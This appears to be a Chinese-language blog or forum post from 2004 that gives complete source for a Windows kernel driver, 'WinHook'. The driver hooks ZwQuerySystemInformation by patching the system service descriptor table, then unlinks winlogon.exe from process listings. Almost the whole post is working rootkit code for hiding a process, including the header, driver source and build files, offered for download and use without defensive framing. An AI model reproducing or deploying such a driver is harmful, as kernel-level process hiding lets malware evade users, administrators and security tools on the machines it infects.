在windows 2000以及以后版本中,系统进程遍历最终都是通过ZwQuerySystemInformation函数实现的,我们可以hook系统服务表KeServiceDescriptorTable来实现对wQuerySystemInformation的hook,然后修改链表实现进程的隐藏。原理网上资料很多,有兴趣的请自己查一下。我这里只是简单的隐藏了winlogon.exe进程。
下载:WinHook.rar
编译、测试环境
CN Win2k+SP4+NTDDK Intel P4 1.7G
CN WinXP+SP1、SP2+XPDDK Intel C4 2.0G
EN WinXP+SP1、SP2+XPDDK Intel P4 1.8G
// WinHook.h
/* ******************************************************************
Name:WinHook.h
Hook System Service Call In Windows 2000 or later version,Only
for x86 CPU.This Driver Only hide process that you setting!
Copyright (C) shucx 2004, All rights reserved.
****************************************************************** */
/* Include ntddk standard header with C linkage*/
#ifdef __cplusplus
extern "C"
{
#endif
#include
#include
#define FILE_DEVICE_WINHOOK 0x00009122
/* Native API process/threads struct */
struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientIs;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
ULONG ThreadState;
KWAIT_REASON WaitReason;
};
struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters;
struct _SYSTEM_THREADS Threads[1];
};
/* Definition for system call service table */
typedef struct _SRVTABLE {
PVOID *ServiceTable;
ULONG LowCall;
ULONG HiCall;
PVOID *ArgTable;
} SRVTABLE, *PSRVTABLE;
/* Old ZwQuerySystemInformation */
NTSTATUS (*RealZwQuerySystemInformation)(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength
);
/* Native API ZwQuerySystemInformation */
NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength
);
/* Install System Call Hook */
VOID HookSystemCall();
/* Uninstall System Call Hook */
VOID UnhookSystemCall();
/* ook ZwQuerySystemInformation */
NTSTATUS HookZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength
);
/* Driver Entry */
NTSTATUS DriverEntry(
IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
);
/* Driver Dispatch */
NTSTATUS DriverDispatch(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
);
/* Unload Driver*/
VOID DriverUnload(
IN PDRIVER_OBJECT DriverObject
);
/* Pointer to the image of the system service table */
extern PSRVTABLE KeServiceDescriptorTable;
#ifdef __cplusplus
}
#endif
// WinHook.c
/* ******************************************************************
Name:WinHook.c
Hook System Service Call In Windows 2000 or later version,Only
for x86 CPU.This Driver Only hide process that you setting!
Copyright (C) shucx 2004, All rights reserved.
****************************************************************** */
#include
#include "WinHook.h"
/* ******************************************************************
Macro for easy hook/unhook. On X86 implementations of Zw* func-
tions, the DWORD following the first byte is the system call number,
so we reach into the Zw function passed as a parameter, and pull the
number out. This makes system call hooking depe ndent ONLY on the
Zw* function implementation not changing.
****************************************************************** */
#define SYSCALL(_function) ServiceTable->ServiceTable[*(PULONG)((PUCHAR)_function+1)]
/* Pointer to system global service table */
PSRVTABLE ServiceTable;
#pragma code_seg("ENTRY")
/* Driver Entry */
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath)
{
NTSTATUS nRet;
PDEVICE_OBJECT lpHookDeviceObject;
UNICODE_STRING uszDeviceName,uszDriverName;
RtlInitUnicodeString(&uszDeviceName,L"\Device\WinHook");
RtlInitUnicodeString(&uszDriverName,L"\DosDevices\WinHook");
nRet = IoCreateDevice(
DriverObject, 0,
&uszDeviceName,
FILE_DEVICE_WINHOOK,
0, TRUE,
&lpHookDeviceObject
);
if(NT_SUCCESS(nRet)){
/* Create Symboliclink for GUI */
nRet = IoCreateSymbolicLink (&uszDriverName, &uszDeviceName );
/* Create dispatch points for all routines */
DriverObject->MajorFunction[IRP_MJ_CREATE] =
DriverObject->MajorFunction[IRP_MJ_SHUTDOWN] =
DriverObject->MajorFunction[IRP_MJ_CLOSE] =
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DriverDispatch;
DriverObject->DriverUnload = DriverUnload;
}
if(!NT_SUCCESS(nRet)){
DbgPrint("******WinHook:Failed to create device!******\n");
if(lpHookDeviceObject){
IoDeleteDevice(lpHookDeviceObject);
}
IoDeleteSymbolicLink(&uszDriverName);
return nRet;
}
/* Pointer to system table data structure is an NTOSKRNL export */
ServiceTable = KeServiceDescriptorTable;
DbgPrint("WinHook:SystemCallService: %x\n",ServiceTable);
/* Install System Call Hook */
HookSystemCall();
DbgPrint("******WinHook:Hook System Call Service******\n");
return STATUS_SUCCESS;
}
#pragma code_seg()
#pragma code_seg("SETHOOK")
/* Install System Call Hook */
VOID HookSystemCall()
{
RealZwQuerySystemInformation = SYSCALL(ZwQuerySystemInformation);
SYSCALL(ZwQuerySystemInformation) = (PVOID)HookZwQuerySystemInformation;
return;
}
#pragma code_seg()
#pragma code_seg("UNHOOK")
/* Uninstall System Call Hook */
VOID UnhookSystemCall()
{
SYSCALL(ZwQuerySystemInformation) = (PVOID)RealZwQuerySystemInformation;
return;
}
#pragma code_seg()
#pragma code_seg("HOOK")
/* Hook function,hook ZwQuerySystemInformation for hide process you setting. */
NTSTATUS HookZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength
)
{
NTSTATUS nRet;
UNICODE_STRING uszProcName;
RtlInitUnicodeString(&uszProcName, L"winlogon.exe");
nRet = (RealZwQuerySystemInformation)(
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength
);
if(NT_SUCCESS(nRet))
{
if(SystemInformationClass==5)
{
struct _SYSTEM_PROCESSES *lpCurr = (struct _SYSTEM_PROCESSES *)SystemInformation;
struct _SYSTEM_PROCESSES *lpPrev = NULL;
if(lpCurr->NextEntryDelta){
((char *)lpCurr += lpCurr->NextEntryDelta);
}
while(lpCurr)
{
/* Hide the process you setting */
if (RtlCompareUnicodeString(&uszProcName, &lpCurr->ProcessName, 1) == 0)
{
if(lpPrev)
{
if(lpCurr->NextEntryDelta) {
lpPrev->NextEntryDelta += lpCurr->NextEntryDelta;
}
else {
lpPrev->NextEntryDelta = 0;
}
}
else {
if(lpCurr->NextEntryDelta) {
(char *)SystemInformation += lpCurr->NextEntryDelta;
}
else {
SystemInformation = NULL;
}
}
if(lpCurr->NextEntryDelta){
((char *)lpCurr += lpCurr->NextEntryDelta);
}
else {
lpCurr = NULL;
break;
}
} /* if (RtlCompareUnicodeString(&uszProcName, &lpCurr->ProcessName, 1) == 0) */
/* View all over the process list */
if(lpCurr != NULL) {
lpPrev = lpCurr;
if(lpCurr->NextEntryDelta){
((char *)lpCurr += lpCurr->NextEntryDelta);
}
else{
lpCurr = NULL;
}
}
} /* end while(lpCurr) */
} /* End if(SystemInformationClass==5) */
} /* End if(NT_SUCCESS(nRet)) */
return nRet;
}
#pragma code_seg()
#pragma code_seg("PATCH")
/* Driver Dispatch */
NTSTATUS DriverDispatch(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp)
{
PIO_STACK_LOCATION lpIrpStack;
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
/* Get a pointer to the current location in the Irp. */
lpIrpStack =IoGetCurrentIrpStackLocation(Irp);
switch (lpIrpStack->MajorFunction) {
case IRP_MJ_CREATE:
case IRP_MJ_SHUTDOWN:
case IRP_MJ_CLOSE:
case IRP_MJ_DEVICE_CONTROL:
DbgPrint("WinHook Dispatch\n");
break;
}
IoCompleteRequest(Irp,IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
#pragma code_seg()
#pragma code_seg("UNLOAD")
/* Driver Unolad */
VOID DriverUnload(IN PDRIVER_OBJECT DriverObject)
{
UNICODE_STRING uszDriverName;
DbgPrint("******WinHook Driver Unloading******\n");
/* Uninstall System Call Hook */
UnhookSystemCall();
/* Delete the symbolic link for this device */
RtlInitUnicodeString(&uszDriverName,L"\DosDevices\WinHook");
IoDeleteSymbolicLink(&uszDriverName);
/* Delete the device object */
IoDeleteDevice( DriverObject->DeviceObject );
DbgPrint("******Deleted devices******\n");
return;
}
#pragma code_seg()
// Makefile
!INCLUDE $(NTMAKEENV)\makefile.def
//Sources
TARGETNAME=WinHook
TARGETTYPE=DRIVER
TARGETPATH=obj
BROWSER_INFO=1
C_DEFINES=-DDRIVER
SOURCES=WinHook.c